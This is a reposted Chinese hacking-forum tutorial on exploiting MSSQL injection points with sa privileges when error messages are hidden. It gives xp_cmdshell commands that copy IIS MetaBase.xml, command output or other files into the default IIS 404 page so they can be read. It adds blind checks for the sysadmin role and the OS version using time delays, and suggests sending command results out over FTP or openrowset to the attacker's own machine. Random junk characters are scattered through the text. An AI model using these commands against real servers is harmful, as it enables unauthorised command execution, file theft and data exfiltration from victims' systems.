遇到一个sa注入点，mssql错误提示关闭无疑shi让人郁闷的事情。
, l; i/ v! _0 z+ v9 X% C) J9 H& Y; I7 C( j
虽然错误提示关闭也shi可能以列目录，执行命令，但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
2 s( i8 G; {" ~% F4 z, L# K/ W2 ?) N1 w6 I0 N
这里有一个很好的方法，让你得到web目录路径，让你得到服务器上的文件，让你执行命令得到回显。
2 P# t; }! F+ O Q) a
2 |9 ]' k0 h" c+ K% @$ F3 B IIS，404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm2 m7 ~2 E# F' V5 ^0 Z
' p3 K" n0 b: b8 }
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--# E C. A+ u* l
! A( ^; N* a6 P0 S0 w
,这shi20003，如果是2000的话，exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--，在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后，你再访问一下网站一个不存在的文件或目录，显示的就shiMetaBase.xml 的内容了。( j/ e- K5 r; _2 u
& Z" h1 K9 ]# N1 z& \9 B 执行命令得到回显
$ d, U) _, U( v0 u- o% G
2 E8 ~" T! I/ @/ z% \ 通过上面得到web路径的方法，你肯定很容易想到怎么得到回显了吧。 2003，exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000，exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--9 U4 o5 @2 i7 l' e6 [0 E
' r: f% }+ w, O7 \& ]( m6 |3 e; C 得到文件也shi相同，把文件copy到404b.htm就行了
+ P4 S. V0 b/ a! z& n% w( ^5 `; }
by 28ice, 2008/6/26
9 c( q# r" E! O1 }2 i7 d
i( j) e; E& z# f( H 摘自 28度的冰( K: k$ A1 \5 l5 i0 @4 K r
1 p' Q$ O! d: \, Y7 ~ 盲注判断权限和操作系统版本
& d/ w1 a4 {) B" m; {3 |9 u: B9 R1 r U( U7 W
首先第一个问题，如果错误提示关闭，怎么判断当前的权限shi否为sysadmin呢?
/ N7 q9 r/ y9 h( b& E# R% S4 S$ _* W; ^3 z2 X% x0 R" s A
最简单的，可能以用这样的方法：
; @6 ] ~ G: F; d8 {0 N4 c7 l
1 Y" r* i, a& A) ]. y6 W 1=(select IS_SRVROLEMEMBER(’sysadmin’)). b2 O0 I2 ~6 y( q$ z9 N
; l+ L# J- y& r5 N4 h3 D
当然，有些情况下，这个方法并不奏效。
; a! y3 V+ i+ O7 t2 ~
2 j1 O8 B1 W( _$ c0 j7 F- | 既然shisa，我们就可能以通过执行命令判断，不过，既然错误提示关闭，那么执行的结果就很不容易拿到。- N0 e% S( w7 u+ d3 p* W8 J
$ Y# ?: ]1 m( V' A' } f/ O- ] 有个3办法可能以解决这个问题
0 @- R( F+ _5 x, O5 J( r y# H& _; p; L
a.把执行结果写到404b.htm，具体请看我的上一篇文章
+ M' Y' o& `% P3 b7 H! i' l0 @- f4 l
0 v! w3 V5 w1 W# v$ X% o b.执行ping 127.1 -n 10，看看页面shi否延迟10秒钟
4 L% \: P9 H7 d9 Q7 s6 X$ ]
! a/ x: t1 P! c) f. d c.如果1433端口可能以连接，那干脆新建个sql登录1 n7 Z, e# |; h8 q) x
) V- t- r$ p1 g; N: Z
d.如果大牛你shi公网Ip,openrowset，或者直接telnet，ftp到你自己的机子，说到这里，ftp还有别的用处，比如，把执行结果写到文件中，然后通过ftp传到你的机子上，这何尝不shi获得执行结果的一个好办法。当然，你可能能要用到ftp的-s参数
* r* W, A0 z0 ?- F/ y4 a7 a9 ~' n+ D; v* C% S8 N4 [
还有一个问题，怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
' M) f$ I" ^- l* j+ P
% t$ q/ ]- y9 _9 M4 q% A( R- M 很简单$ d* g) F ^8 s* O _0 E1 S
* y, U% P/ [) k# g; t. k0 N3 C 执行systeminfo( Z( c) i2 a: W
$ c3 l5 `+ b8 F) a1 M. X# b/ [
在xp/2003下才有这个命令，这个命令执行大概需要5秒钟时间。如果页面延迟5秒，就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |
发表于 2012-9-15 14:15:42
收藏
支持
反对